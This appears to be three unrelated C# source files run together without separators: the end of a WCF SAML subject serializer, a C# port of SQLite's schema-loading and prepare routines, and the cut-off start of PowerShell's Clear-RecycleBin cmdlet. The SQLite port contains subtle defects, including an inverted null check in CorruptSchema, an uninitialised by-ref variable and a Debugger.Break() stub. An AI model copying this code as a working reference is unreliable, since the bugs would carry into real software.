dictionary.Namespace)) { reader.MoveToContent(); reader.Read(); while (reader.IsStartElement(dictionary.SubjectConfirmationMethod, dictionary.Namespace)) { string method = reader.ReadString(); if (string.IsNullOrEmpty(method)) throw DiagnosticUtility.ExceptionUtility.ThrowHelperError(new SecurityTokenException(SR.GetString(SR.SAMLBadSchema, dictionary.SubjectConfirmationMethod.Value))); this.confirmationMethods.Add(method); reader.MoveToContent(); reader.ReadEndElement(); } if (this.confirmationMethods.Count == 0) { // A SubjectConfirmaton clause should specify at least one // ConfirmationMethod. throw DiagnosticUtility.ExceptionUtility.ThrowHelperError(new SecurityTokenException(SR.GetString(SR.SAMLSubjectConfirmationClauseMissingConfirmationMethodOnRead))); } if (reader.IsStartElement(dictionary.SubjectConfirmationData, dictionary.Namespace)) { reader.MoveToContent(); // An Authentication protocol specified in the confirmation method might need this // data. Just store this content value as string. this.confirmationData = reader.ReadString(); reader.MoveToContent(); reader.ReadEndElement(); } #pragma warning suppress 56506 // samlSerializer.DictionaryManager is never null. if (reader.IsStartElement(samlSerializer.DictionaryManager.XmlSignatureDictionary.KeyInfo, samlSerializer.DictionaryManager.XmlSignatureDictionary.Namespace)) { XmlDictionaryReader dictionaryReader = XmlDictionaryReader.CreateDictionaryReader(reader); this.securityKeyIdentifier = SamlSerializer.ReadSecurityKeyIdentifier(dictionaryReader, keyInfoSerializer); this.crypto = SamlSerializer.ResolveSecurityKey(this.securityKeyIdentifier, outOfBandTokenResolver); if (this.crypto == null) { throw DiagnosticUtility.ExceptionUtility.ThrowHelperError(new SecurityTokenException(SR.GetString(SR.SamlUnableToExtractSubjectKey))); } this.subjectToken = SamlSerializer.ResolveSecurityToken(this.securityKeyIdentifier, outOfBandTokenResolver); } if ((this.confirmationMethods.Count == 0) && (string.IsNullOrEmpty(name))) throw DiagnosticUtility.ExceptionUtility.ThrowHelperError(new SecurityTokenException(SR.GetString(SR.SAMLSubjectRequiresNameIdentifierOrConfirmationMethodOnRead))); reader.MoveToContent(); reader.ReadEndElement(); } reader.MoveToContent(); reader.ReadEndElement(); } public virtual void WriteXml(XmlDictionaryWriter writer, SamlSerializer samlSerializer, SecurityTokenSerializer keyInfoSerializer) { CheckObjectValidity(); if (writer == null) throw DiagnosticUtility.ExceptionUtility.ThrowHelperError(new ArgumentNullException("writer")); if (samlSerializer == null) throw DiagnosticUtility.ExceptionUtility.ThrowHelperError(new ArgumentNullException("samlSerializer")); #pragma warning suppress 56506 // samlSerializer.DictionaryManager is never null. SamlDictionary dictionary = samlSerializer.DictionaryManager.SamlDictionary; writer.WriteStartElement(dictionary.PreferredPrefix.Value, dictionary.Subject, dictionary.Namespace); if (this.name != null) { writer.WriteStartElement(dictionary.PreferredPrefix.Value, dictionary.NameIdentifier, dictionary.Namespace); if (this.nameFormat != null) { writer.WriteStartAttribute(dictionary.NameIdentifierFormat, null); writer.WriteString(this.nameFormat); writer.WriteEndAttribute(); } if (this.nameQualifier != null) { writer.WriteStartAttribute(dictionary.NameIdentifierNameQualifier, null); writer.WriteString(this.nameQualifier); writer.WriteEndAttribute(); } writer.WriteString(this.name); writer.WriteEndElement(); } if (this.confirmationMethods.Count > 0) { writer.WriteStartElement(dictionary.PreferredPrefix.Value, dictionary.SubjectConfirmation, dictionary.Namespace); foreach (string method in this.confirmationMethods) writer.WriteElementString(dictionary.SubjectConfirmationMethod, dictionary.Namespace, method); if (!string.IsNullOrEmpty(this.confirmationData)) writer.WriteElementString(dictionary.SubjectConfirmationData, dictionary.Namespace, this.confirmationData); if (this.securityKeyIdentifier != null) { XmlDictionaryWriter dictionaryWriter = XmlDictionaryWriter.CreateDictionaryWriter(writer); SamlSerializer.WriteSecurityKeyIdentifier(dictionaryWriter, this.securityKeyIdentifier, keyInfoSerializer); } writer.WriteEndElement(); } writer.WriteEndElement(); } } }
using System; using System.Diagnostics; using System.Text; namespace Core { public partial class Prepare { static void CorruptSchema(InitData data, string obj, string extra) { Context ctx = data.Ctx; if (!ctx.MallocFailed && (ctx.Flags & Context.FLAG.RecoveryMode) == 0) { if (obj == null) obj = "?"; C._mtagassignf(ref data.ErrMsg, ctx, "malformed database schema (%s)", obj); if (extra == null) data.ErrMsg = C._mtagappendf(ctx, data.ErrMsg, "%s - %s", data.ErrMsg, extra); data.RC = (ctx.MallocFailed ? RC.NOMEM : SysEx.CORRUPT_BKPT()); } } public static bool InitCallback(object init, int argc, string[] argv, object notUsed1) { InitData data = (InitData)init; Context ctx = data.Ctx; int db = data.Db; Debug.Assert(argc == 3); Debug.Assert(MutexEx.Held(ctx.Mutex)); E.DbClearProperty(ctx, db, SCHEMA.Empty); if (ctx.MallocFailed) { CorruptSchema(data, argv[0], null); return true; } Debug.Assert(db >= 0 && db < ctx.DBs.length); if (argv == null) return false; // Might happen if EMPTY_RESULT_CALLBACKS are on */ if (argv[1] == null) CorruptSchema(data, argv[0], null); else if (!string.IsNullOrEmpty(argv[2])) { // Call the parser to process a CREATE TABLE, INDEX or VIEW. But because ctx->init.busy is set to 1, no VDBE code is generated // or executed. All the parser does is build the internal data structures that describe the table, index, or view. Debug.Assert(ctx.Init.Busy); ctx.Init.DB = (byte)db; ctx.Init.NewTid = ConvertEx.Atoi(argv[1]); ctx.Init.OrphanTrigger = false; Vdbe stmt = null; #if DEBUG int rcp = Prepare(ctx, argv[2], -1, ref stmt, null); #else Prepare(ctx, argv[2], -1, ref stmt, null); #endif RC rc = ctx.ErrCode; #if DEBUG Debug.Assert(((int)rc & 0xFF) == (rcp & 0xFF)); #endif ctx.Init.DB = 0; if (rc != RC.OK) { if (ctx.Init.OrphanTrigger) Debug.Assert(db == 1); else { data.RC = rc; if (rc == RC.NOMEM) ctx.MallocFailed = true; else if (rc != RC.INTERRUPT && (RC)((int)rc & 0xFF) != RC.LOCKED) CorruptSchema(data, argv[0], sqlite3_errmsg(ctx)); } } stmt.Finalize(); } else if (argv[0] == null) CorruptSchema(data, null, null); else { // If the SQL column is blank it means this is an index that was created to be the PRIMARY KEY or to fulfill a UNIQUE // constraint for a CREATE TABLE. The index should have already been created when we processed the CREATE TABLE. All we have // to do here is record the root page number for that index. Index index = Parse.FindIndex(ctx, argv[0], ctx.DBs[db].Name); if (index == null) { // This can occur if there exists an index on a TEMP table which has the same name as another index on a permanent index. Since // the permanent table is hidden by the TEMP table, we can also safely ignore the index on the permanent table. // Do Nothing } else if (!ConvertEx.Atoi(argv[1], ref index.Id)) CorruptSchema(data, argv[0], "invalid rootpage"); } return false; } // The master database table has a structure like this static readonly string master_schema = "CREATE TABLE sqlite_master(\n" + " type text,\n" + " name text,\n" + " tbl_name text,\n" + " rootpage integer,\n" + " sql text\n" + ")"; #if !OMIT_TEMPDB static readonly string temp_master_schema = "CREATE TEMP TABLE sqlite_temp_master(\n" + " type text,\n" + " name text,\n" + " tbl_name text,\n" + " rootpage integer,\n" + " sql text\n" + ")"; #else static readonly string temp_master_schema = null; #endif //ctx.pDfltColl = sqlite3FindCollSeq( ctx, SQLITE_UTF8, "BINARY", 0 ); public static RC InitOne(Context ctx, int db, ref string errMsg) { Debug.Assert(db >= 0 && db < ctx.DBs.length); Debug.Assert(ctx.DBs[db].Schema != null); Debug.Assert(MutexEx.Held(ctx.Mutex)); Debug.Assert(db == 1 || ctx.DBs[db].Bt.HoldsMutex()); RC rc; int i; // zMasterSchema and zInitScript are set to point at the master schema and initialisation script appropriate for the database being // initialized. zMasterName is the name of the master table. string masterSchema = (E.OMIT_TEMPDB == 0 && db == 1 ? temp_master_schema : master_schema); string masterName = E.SCHEMA_TABLE(db); // Construct the schema tables. string[] args = new string[4]; args[0] = masterName; args[1] = "1"; args[2] = masterSchema; args[3] = null; InitData initData = new InitData(); initData.Ctx = ctx; initData.Db = db; initData.RC = RC.OK; initData.ErrMsg = errMsg; InitCallback(initData, 3, args, null); if (initData.RC != 0) { rc = initData.RC; goto error_out; } Table table = Parse.FindTable(ctx, masterName, ctx.DBs[db].Name); if (C._ALWAYS(table != null)) table.TabFlags |= TF.Readonly; // Create a cursor to hold the database open Context.DB dbAsObj = ctx.DBs[db]; if (dbAsObj.Bt == null) { if (E.OMIT_TEMPDB == 0 && C._ALWAYS(db == 1)) E.DbSetProperty(ctx, 1, SCHEMA.SchemaLoaded); return RC.OK; } // If there is not already a read-only (or read-write) transaction opened on the b-tree database, open one now. If a transaction is opened, it // will be closed before this function returns. bool openedTransaction = false; dbAsObj.Bt.Enter(); if (!dbAsObj.Bt.IsInReadTrans()) { rc = dbAsObj.Bt.BeginTrans(0); if (rc != RC.OK) { C._mtagassignf(ref errMsg, ctx, "%s", DataEx.ErrStr(rc)); goto initone_error_out; } openedTransaction = true; } // Get the database meta information. // Meta values are as follows: // meta[0] Schema cookie. Changes with each schema change. // meta[1] File format of schema layer. // meta[2] Size of the page cache. // meta[3] Largest rootpage (auto/incr_vacuum mode) // meta[4] Db text encoding. 1:UTF-8 2:UTF-16LE 3:UTF-16BE // meta[5] User version // meta[6] Incremental vacuum mode // meta[7] unused // meta[8] unused // meta[9] unused // Note: The #defined SQLITE_UTF* symbols in sqliteInt.h correspond to the possible values of meta[4]. uint[] meta = new uint[5]; for (i = 0; i < meta.Length; i++) dbAsObj.Bt.GetMeta((Btree.META)i + 1, ref meta[i]); dbAsObj.Schema.SchemaCookie = (int)meta[(int)Btree.META.SCHEMA_VERSION - 1]; // If opening a non-empty database, check the text encoding. For the main database, set sqlite3.enc to the encoding of the main database. // For an attached ctx, it is an error if the encoding is not the same as sqlite3.enc. if (meta[(int)Btree.META.TEXT_ENCODING - 1] != 0) // text encoding { if (db == 0) { #if !OMIT_UTF16 // If opening the main database, set ENC(db). TEXTENCODE encoding = (TEXTENCODE)(meta[(int)Btree.META.TEXT_ENCODING - 1] & 3); if (encoding == 0) encoding = TEXTENCODE.UTF8; E.CTXENCODE(ctx, encoding); #else E.CTXENCODE(ctx, TEXTENCODE_UTF8); #endif } else { // If opening an attached database, the encoding much match ENC(db) if ((TEXTENCODE)meta[(int)Btree.META.TEXT_ENCODING - 1] != E.CTXENCODE(ctx)) { C._mtagassignf(ref errMsg, ctx, "attached databases must use the same text encoding as main database"); rc = RC.ERROR; goto initone_error_out; } } } else E.DbSetProperty(ctx, db, SCHEMA.Empty); dbAsObj.Schema.Encode = E.CTXENCODE(ctx); if (dbAsObj.Schema.CacheSize == 0) { dbAsObj.Schema.CacheSize = DEFAULT_CACHE_SIZE; dbAsObj.Bt.SetCacheSize(dbAsObj.Schema.CacheSize); } // file_format==1 Version 3.0.0. // file_format==2 Version 3.1.3. // ALTER TABLE ADD COLUMN // file_format==3 Version 3.1.4. // ditto but with non-NULL defaults // file_format==4 Version 3.3.0. // DESC indices. Boolean constants dbAsObj.Schema.FileFormat = (byte)meta[(int)Btree.META.FILE_FORMAT - 1]; if (dbAsObj.Schema.FileFormat == 0) dbAsObj.Schema.FileFormat = 1; if (dbAsObj.Schema.FileFormat > MAX_FILE_FORMAT) { C._mtagassignf(ref errMsg, ctx, "unsupported file format"); rc = RC.ERROR; goto initone_error_out; } // Ticket #2804: When we open a database in the newer file format, clear the legacy_file_format pragma flag so that a VACUUM will // not downgrade the database and thus invalidate any descending indices that the user might have created. if (db == 0 && meta[(int)Btree.META.FILE_FORMAT - 1] >= 4) ctx.Flags &= ~Context.FLAG.LegacyFileFmt; // Read the schema information out of the schema tables Debug.Assert(ctx.Init.Busy); { string sql = C._mtagprintf(ctx, "SELECT name, rootpage, sql FROM '%q'.%s ORDER BY rowid", ctx.DBs[db].Name, masterName); #if !OMIT_AUTHORIZATION { Func<object, int, string, string, string, string, ARC> auth = ctx.Auth; ctx.Auth = null; #endif rc = sqlite3_exec(ctx, sql, InitCallback, initData, 0); //: errMsg = initData.ErrMsg; #if !OMIT_AUTHORIZATION ctx.Auth = auth; } #endif if (rc == RC.OK) rc = initData.RC; C._tagfree(ctx, ref sql); #if !OMIT_ANALYZE if (rc == RC.OK) sqlite3AnalysisLoad(ctx, db); #endif } if (ctx.MallocFailed) { rc = RC.NOMEM; DataEx.ResetAllSchemasOfConnection(ctx); } if (rc == RC.OK || (ctx.Flags & Context.FLAG.RecoveryMode) != 0) { // Black magic: If the SQLITE_RecoveryMode flag is set, then consider the schema loaded, even if errors occurred. In this situation the // current sqlite3_prepare() operation will fail, but the following one will attempt to compile the supplied statement against whatever subset // of the schema was loaded before the error occurred. The primary purpose of this is to allow access to the sqlite_master table // even when its contents have been corrupted. E.DbSetProperty(ctx, db, DB.SchemaLoaded); rc = RC.OK; } // Jump here for an error that occurs after successfully allocating curMain and calling sqlite3BtreeEnter(). For an error that occurs // before that point, jump to error_out. initone_error_out: if (openedTransaction) dbAsObj.Bt.Commit(); dbAsObj.Bt.Leave(); error_out: if (rc == RC.NOMEM || rc == RC.IOERR_NOMEM) ctx.MallocFailed = true; return rc; } public static RC Init(Context ctx, ref string errMsg) { Debug.Assert(MutexEx.Held(ctx.Mutex)); RC rc = RC.OK; ctx.Init.Busy = true; for (int i = 0; rc == RC.OK && i < ctx.DBs.length; i++) { if (E.DbHasProperty(ctx, i, SCHEMA.SchemaLoaded) || i == 1) continue; rc = InitOne(ctx, i, ref errMsg); if (rc != 0) ResetOneSchema(ctx, i); } // Once all the other databases have been initialized, load the schema for the TEMP database. This is loaded last, as the TEMP database // schema may contain references to objects in other databases. #if !OMIT_TEMPDB if (rc == RC.OK && C._ALWAYS(ctx.DBs.length > 1) && !E.DbHasProperty(ctx, 1, SCHEMA.SchemaLoaded)) { rc = InitOne(ctx, 1, ref errMsg); if (rc != 0) ResetOneSchema(ctx, 1); } #endif bool commitInternal = !((ctx.Flags & Context.FLAG.InternChanges) != 0); ctx.Init.Busy = false; if (rc == RC.OK && commitInternal) CommitInternalChanges(ctx); return rc; } public static RC ReadSchema(Parse parse) { RC rc = RC.OK; Context ctx = parse.Ctx; Debug.Assert(MutexEx.Held(ctx.Mutex)); if (!ctx.Init.Busy) rc = Init(ctx, ref parse.ErrMsg); if (rc != RC.OK) { parse.RC = rc; parse.Errs++; } return rc; } static void SchemaIsValid(Parse parse) { Context ctx = parse.Ctx; Debug.Assert(parse.CheckSchema != 0); Debug.Assert(MutexEx.Held(ctx.Mutex)); for (int db = 0; db < ctx.DBs.length; db++) { bool openedTransaction = false; // True if a transaction is opened Btree bt = ctx.DBs[db].Bt; // Btree database to read cookie from if (bt == null) continue; // If there is not already a read-only (or read-write) transaction opened on the b-tree database, open one now. If a transaction is opened, it // will be closed immediately after reading the meta-value. if (!bt.IsInReadTrans()) { RC rc = bt.BeginTrans(0); if (rc == RC.NOMEM || rc == RC.IOERR_NOMEM) ctx.MallocFailed = true; if (rc != RC.OK) return; openedTransaction = true; } // Read the schema cookie from the database. If it does not match the value stored as part of the in-memory schema representation, // set Parse.rc to SQLITE_SCHEMA. uint cookie; bt.GetMeta(Btree.META.SCHEMA_VERSION, ref cookie); Debug.Assert(Btree.SchemaMutexHeld(ctx, db, null)); if (cookie != ctx.DBs[db].Schema.SchemaCookie) { ResetOneSchema(ctx, db); parse.RC = RC.SCHEMA; } // Close the transaction, if one was opened. if (openedTransaction) bt.Commit(); } } public static int SchemaToIndex(Context ctx, Schema schema) { // If pSchema is NULL, then return -1000000. This happens when code in expr.c is trying to resolve a reference to a transient table (i.e. one // created by a sub-select). In this case the return value of this function should never be used. // // We return -1000000 instead of the more usual -1 simply because using -1000000 as the incorrect index into ctx->aDb[] is much // more likely to cause a segfault than -1 (of course there are assert() statements too, but it never hurts to play the odds). Debug.Assert(MutexEx.Held(ctx.Mutex)); int i = -1000000; if (schema != null) { for (i = 0; C._ALWAYS(i < ctx.DBs.length); i++) if (ctx.DBs[i].Schema == schema) break; Debug.Assert(i >= 0 && i < ctx.DBs.length); } return i; } #if !OMIT_EXPLAIN static readonly string[] _colName = new string[] { "addr", "opcode", "p1", "p2", "p3", "p4", "p5", "comment", "selectid", "order", "from", "detail" }; #endif public static RC Prepare_(Context ctx, string sql, int bytes, bool isPrepareV2, Vdbe reprepare, ref Vdbe stmtOut, ref string tailOut) { stmtOut = null; tailOut = null; string errMsg = null; // Error message RC rc = RC.OK; int i; // Allocate the parsing context Parse parse = new Parse(); // Parsing context if (parse == null) { rc = RC.NOMEM; goto end_prepare; } parse.Reprepare = reprepare; parse.LastToken.data = null; //: C#? Debug.Assert(tailOut == null); Debug.Assert(!ctx.MallocFailed); Debug.Assert(MutexEx.Held(ctx.Mutex)); // Check to verify that it is possible to get a read lock on all database schemas. The inability to get a read lock indicates that // some other database connection is holding a write-lock, which in turn means that the other connection has made uncommitted changes // to the schema. // // Were we to proceed and prepare the statement against the uncommitted schema changes and if those schema changes are subsequently rolled // back and different changes are made in their place, then when this prepared statement goes to run the schema cookie would fail to detect // the schema change. Disaster would follow. // // This thread is currently holding mutexes on all Btrees (because of the sqlite3BtreeEnterAll() in sqlite3LockAndPrepare()) so it // is not possible for another thread to start a new schema change while this routine is running. Hence, we do not need to hold // locks on the schema, we just need to make sure nobody else is holding them. // // Note that setting READ_UNCOMMITTED overrides most lock detection, but it does *not* override schema lock detection, so this all still // works even if READ_UNCOMMITTED is set. for (i = 0; i < ctx.DBs.length; i++) { Btree bt = ctx.DBs[i].Bt; if (bt != null) { Debug.Assert(bt.HoldsMutex()); rc = bt.SchemaLocked(); if (rc != 0) { string dbName = ctx.DBs[i].Name; sqlite3Error(ctx, rc, "database schema is locked: %s", dbName); C.ASSERTCOVERAGE((ctx.Flags & Context.FLAG.ReadUncommitted) != 0); goto end_prepare; } } } VTable.UnlockList(ctx); parse.Ctx = ctx; parse.QueryLoops = (double)1; if (bytes >= 0 && (bytes == 0 || sql[bytes - 1] != 0)) { int maxLen = ctx.aLimit[SQLITE_LIMIT_SQL_LENGTH]; C.ASSERTCOVERAGE(bytes == maxLen); C.ASSERTCOVERAGE(bytes == maxLen + 1); if (bytes > maxLen) { sqlite3Error(ctx, RC.TOOBIG, "statement too long"); rc = SysEx.ApiExit(ctx, RC.TOOBIG); goto end_prepare; } string sqlCopy = sql.Substring(0, bytes); if (sqlCopy != null) { parse.RunParser(sqlCopy, ref errMsg); C._tagfree(ctx, ref sqlCopy); parse.Tail = null; //: &sql[parse->Tail - sqlCopy]; } else parse.Tail = null; //: &sql[bytes]; } else parse.RunParser(sql, ref errMsg); Debug.Assert((int)parse.QueryLoops == 1); if (ctx.MallocFailed) parse.RC = RC.NOMEM; if (parse.RC == RC.DONE) parse.RC = RC.OK; if (parse.CheckSchema != 0) SchemaIsValid(parse); if (ctx.MallocFailed) parse.RC = RC.NOMEM; tailOut = (parse.Tail == null ? null : parse.Tail.ToString()); rc = parse.RC; Vdbe v = parse.V; #if !OMIT_EXPLAIN if (rc == RC.OK && parse.V != null && parse.Explain != 0) { int first, max; if (parse.Explain == 2) { v.SetNumCols(4); first = 8; max = 12; } else { v.SetNumCols(8); first = 0; max = 8; } for (i = first; i < max; i++) v.SetColName(i - first, COLNAME_NAME, _colName[i], C.DESTRUCTOR_STATIC); } #endif Debug.Assert(!ctx.Init.Busy || !isPrepareV2); if (!ctx.Init.Busy) Vdbe.SetSql(v, sql, (int)(sql.Length - (parse.Tail == null ? 0 : parse.Tail.Length)), isPrepareV2); if (v != null && (rc != RC.OK || ctx.MallocFailed)) { v.Finalize(); Debug.Assert(stmtOut == null); } else stmtOut = v; if (errMsg != null) { sqlite3Error(ctx, rc, "%s", errMsg); C._tagfree(ctx, ref errMsg); } else sqlite3Error(ctx, rc, null); // Delete any TriggerPrg structures allocated while parsing this statement. while (parse.TriggerPrg != null) { TriggerPrg t = parse.TriggerPrg; parse.TriggerPrg = t.Next; C._tagfree(ctx, ref t); } end_prepare: //sqlite3StackFree( db, pParse ); rc = SysEx.ApiExit(ctx, rc); Debug.Assert((RC)((int)rc & ctx.ErrMask) == rc); return rc; } //C# Version w/o End of Parsed String public static RC LockAndPrepare(Context ctx, string sql, int bytes, bool isPrepareV2, Vdbe reprepare, ref Vdbe stmtOut, string dummy1) { string tailOut = null; return LockAndPrepare(ctx, sql, bytes, isPrepareV2, reprepare, ref stmtOut, ref tailOut); } public static RC LockAndPrepare(Context ctx, string sql, int bytes, bool isPrepareV2, Vdbe reprepare, ref Vdbe stmtOut, ref string tailOut) { if (!sqlite3SafetyCheckOk(ctx)) { stmtOut = null; tailOut = null; return SysEx.MISUSE_BKPT(); } MutexEx.Enter(ctx.Mutex); Btree.EnterAll(ctx); RC rc = Prepare_(ctx, sql, bytes, isPrepareV2, reprepare, ref stmtOut, ref tailOut); if (rc == RC.SCHEMA) { stmtOut.Finalize(); rc = Prepare_(ctx, sql, bytes, isPrepareV2, reprepare, ref stmtOut, ref tailOut); } Btree.LeaveAll(ctx); MutexEx.Leave(ctx.Mutex); Debug.Assert(rc == RC.OK || stmtOut == null); return rc; } public static RC Reprepare(Vdbe p) { Context ctx = p.Ctx; Debug.Assert(MutexEx.Held(ctx.Mutex)); string sql = Vdbe.Sql(p); Debug.Assert(sql != null); // Reprepare only called for prepare_v2() statements Vdbe newVdbe = new Vdbe(); RC rc = LockAndPrepare(ctx, sql, -1, false, p, ref newVdbe, null); if (rc != 0) { if (rc == RC.NOMEM) ctx.MallocFailed = true; Debug.Assert(newVdbe == null); return rc; } else Debug.Assert(newVdbe != null); Vdbe.Swap((Vdbe)newVdbe, p); Vdbe.TransferBindings(newVdbe, (Vdbe)p); newVdbe.ResetStepResult(); newVdbe.Finalize(); return RC.OK; } //C# Overload for ignore error out static public RC Prepare_(Context ctx, string sql, int bytes, ref Vdbe vdbeOut, string dummy1) { string tailOut = null; return Prepare_(ctx, sql, bytes, ref vdbeOut, ref tailOut); } static public RC Prepare_(Context ctx, StringBuilder sql, int bytes, ref Vdbe vdbeOut, string dummy1) { string tailOut = null; return Prepare_(ctx, sql.ToString(), bytes, ref vdbeOut, ref tailOut); } static public RC Prepare_(Context ctx, string sql, int bytes, ref Vdbe vdbeOut, ref string tailOut) { RC rc = LockAndPrepare(ctx, sql, bytes, false, null, ref vdbeOut, ref tailOut); Debug.Assert(rc == RC.OK || vdbeOut == null); // VERIFY: F13021 return rc; } public static RC Prepare_v2(Context ctx, string sql, int bytes, ref Vdbe stmtOut, string dummy1) { string tailOut = null; return Prepare_v2(ctx, sql, bytes, ref stmtOut, ref tailOut); } public static RC Prepare_v2(Context ctx, string sql, int bytes, ref Vdbe stmtOut, ref string tailOut) { RC rc = LockAndPrepare(ctx, sql, bytes, true, null, ref stmtOut, ref tailOut); Debug.Assert(rc == RC.OK || stmtOut == null); // VERIFY: F13021 return rc; } #if !OMIT_UTF16 public static RC Prepare16(Context ctx, string sql, int bytes, bool isPrepareV2, out Vdbe stmtOut, out string tailOut) { // This function currently works by first transforming the UTF-16 encoded string to UTF-8, then invoking sqlite3_prepare(). The // tricky bit is figuring out the pointer to return in *pzTail. stmtOut = null; if (!sqlite3SafetyCheckOk(ctx)) return SysEx.MISUSE_BKPT(); MutexEx.Enter(ctx.Mutex); RC rc = RC.OK; string tail8 = null; string sql8 = Vdbe.Utf16to8(ctx, sql, bytes, TEXTENCODE.UTF16NATIVE); if (sql8 != null) rc = LockAndPrepare(ctx, sql8, -1, isPrepareV2, null, ref stmtOut, ref tail8); if (tail8 != null && tailOut != null) { // If sqlite3_prepare returns a tail pointer, we calculate the equivalent pointer into the UTF-16 string by counting the unicode // characters between zSql8 and zTail8, and then returning a pointer the same number of characters into the UTF-16 string. Debugger.Break(); //: int charsParsed = Vdbe::Utf8CharLen(sql8, (int)(tail8 - sql8)); //: *tailOut = (uint8 *)sql + Vdbe::Utf16ByteLen(sql, charsParsed); } C._tagfree(ctx, ref sql8); rc = SysEx.ApiExit(ctx, rc); MutexEx.Leave(ctx.Mutex); return rc; } public static RC Prepare16(Context ctx, string sql, int bytes, out Vdbe stmtOut, out string tailOut) { RC rc = Prepare16(ctx, sql, bytes, false, out stmtOut, out tailOut); Debug.Assert(rc == RC.OK || stmtOut == null); // VERIFY: F13021 return rc; } public static RC Prepare16_v2(Context ctx, string sql, int bytes, out Vdbe stmtOut, out string tailOut) { RC rc = Prepare16(ctx, sql, bytes, true, out stmtOut, out tailOut); Debug.Assert(rc == RC.OK || stmtOut == null); // VERIFY: F13021 return rc; } #endif } }
// Copyright (c) Microsoft Corporation. // Licensed under the MIT License. using System; using System.Diagnostics.CodeAnalysis; using System.Globalization; using System.IO; using System.Management.Automation; using System.Runtime.InteropServices; using System.Text.RegularExpressions; #if !UNIX namespace Microsoft.PowerShell.Commands { /// <summary> /// Defines the implementation of the 'Clear-RecycleBin' cmdlet. /// This cmdlet clear all files in the RecycleBin for the given DriveLetter. /// If not DriveLetter is specified, then the RecycleBin for all drives are cleared. /// </summary> [Cmdlet(VerbsCommon.Clear, "RecycleBin", SupportsShouldProcess = true, HelpUri = "https://go.microsoft.com/fwlink/?LinkId=2109377", ConfirmImpact = ConfirmImpact.High)] public class ClearRecycleBinCommand : PSCmdlet { private string[] _drivesList; private DriveInfo[] _availableDrives; private bool _force; /// <summary> /// Property that sets DriveLetter parameter. /// </summary> [Parameter(Position = 0, ValueFromPipelineByPropertyName = true)] [ValidateNotNullOrEmpty] [SuppressMessage("Microsoft.Performance", "CA1819:PropertiesShouldNotReturnArrays")] public string[] DriveLetter { get { return _drivesList; } set { _drivesList = value; } } /// <summary> /// Property that sets force parameter. This will allow to clear the recyclebin. /// </summary> [Parameter()] public SwitchParameter Force { get { return _force; } set { _force = value; } } /// <summary> /// This method implements the BeginProcessing method for Clear-RecycleBin command. /// </summary> protected override void BeginProcessing() { _availableDrives = DriveInfo.GetDrives(); } /// <summary> /// This method implements the ProcessRecord method for Clear-RecycleBin command. /// </summary> protected override void ProcessRecord() { // There are two scenarios: // 1) The user provides a list of drives. if (_drivesList != null) { foreach (var drive in _drivesList) { if (!IsValidPattern(drive)) { WriteError(new ErrorRecord( new ArgumentException( string.Format(CultureInfo.InvariantCulture, ClearRecycleBinResources.InvalidDriveNameFormat, "C", "C:", "C:\\")), "InvalidDriveNameFormat", ErrorCategory.InvalidArgument, drive)); continue; } // Get the full path for the drive. string drivePath = GetDrivePath(drive); if (ValidDrivePath(drivePath)) { EmptyRecycleBin(drivePath); } } } else { // 2) No drivesList is provided by the user. EmptyRecycleBin(null); } } /// <summary> /// Returns true if the given drive is 'fixed' and its path exist; otherwise, return false. /// </summary> /// <param name="drivePath"></param> /// <returns></returns> private bool ValidDrivePath(string drivePath) { DriveInfo actualDrive = null; if (_availableDrives != null) { foreach (DriveInfo drive in _availableDrives) { if (string.Equals(drive.Name, drivePath, StringComparison.OrdinalIgnoreCase)) { actualDrive = drive; break; } } } // The drive was not found. if (actualDrive == null) { WriteError(new ErrorRecord( new System.IO.DriveNotFoundException( string.Format(CultureInfo.InvariantCulture, ClearRecycleBinResources.DriveNotFound, drivePath, "Get-Volume")), "DriveNotFound", ErrorCategory.InvalidArgument, drivePath)); } else { if (actualDrive.DriveType == DriveType.Fixed) { // The drive path exists, and the drive is 'fixed'. return true; } WriteError(new ErrorRecord( new ArgumentException( string.Format(CultureInfo.InvariantCulture, ClearRecycleBinResources.InvalidDriveType, drivePath, "Get-Volume")), "InvalidDriveType", ErrorCategory.InvalidArgument, drivePath)); } return false; } /// <summary> /// Returns true if the given input is of the form c, c:, c:\, C, C: or C:\ /// </summary> /// <param name="input"></param> /// <returns></returns> private static bool IsValidPattern(string input) { return Regex.IsMatch(input, @"^[a-z]{1}$|^[a-z]{1}:$|^[a-z]{1}:\\$", RegexOptions.IgnoreCase); } /// <summary> /// Returns a drive path of the form C:\ for the given drive driveName. /// Supports the following inputs: C, C:, C:\ /// </summary> /// <param name="driveName"></param> /// <returns></returns> private static string GetDrivePath(string driveName) { string drivePath; if (driveName.EndsWith(":\\", StringComparison.OrdinalIgnoreCase)) { drivePath = driveName; } else if (driveName.EndsWith(':')) { drivePath = driveName + "\\"; } else { drivePath = driveName + ":\\"; } return drivePath; } /// <summary> /// Clear the recyclebin for the given drive name. /// If no driveName is provided, it clears the recyclebin for all drives. /// </summary> /// <param name="drivePath"></param> private void EmptyRecycleBin(string drivePath) { string clearRecycleBinShouldProcessTarget; if (drivePath == null) { clearRecycleBinShouldProcessTarget = string.Format(CultureInfo.InvariantCulture, ClearRecycleBinResources.ClearRecycleBinContent); } else { clearRecycleBinShouldProcessTarget = string.Format(CultureInfo.InvariantCulture, ClearRecycleBinResources.ClearRecycleBinContentForDrive, drivePath); } if (_force || (ShouldProcess(clearRecycleBinShouldProcessTarget, "Clear-RecycleBin"))) { // If driveName is null, then clear the recyclebin for all drives; otherwise, just for the specified driveName. string activity = string.Format(CultureInfo.InvariantCulture, ClearRecycleBinResources.ClearRecycleBinProgressActivity); string statusDescription; if (drivePath == null) { statusDescription = string.Format(CultureInfo.InvariantCulture, ClearRecycleBinResources.ClearRecycleBinStatusDescriptionForAllDrives); } else { statusDescription = string.Format(CultureInfo.InvariantCulture, ClearRecycleBinResources.ClearRecycleBinStatusDescriptionByDrive, drivePath); } ProgressRecord progress = new(0, activity, statusDescription); progress.PercentComplete = 30; progress.RecordType = ProgressRecordType.Processing; WriteProgress(progress); // no need to check result as a failure is returned only if recycle bin is already empty uint result = NativeMethod.SHEmptyRecycleBin(IntPtr.Zero, drivePath, NativeMethod.RecycleFlags.SHERB_NOCONFIRMATION | NativeMethod.RecycleFlags.SHERB_NOPROGRESSUI | NativeMethod.RecycleFlags.SHERB_NOSOUND); progress.PercentComplete = 100; progress.RecordType = ProgressRecordType.Completed; WriteProgress(progress); } } } internal static class NativeMethod { // Internal code to SHEmptyRecycleBin internal enum RecycleFlags : uint { SHERB_NOCONFIRMATION = 0x00000001, SHERB_NOPROGRESSUI = 0x00000002, SHERB_NOSOUND = 0x00000004 } [DllImport("Shell32.dll", CharSet = CharSet.Unicode)] internal 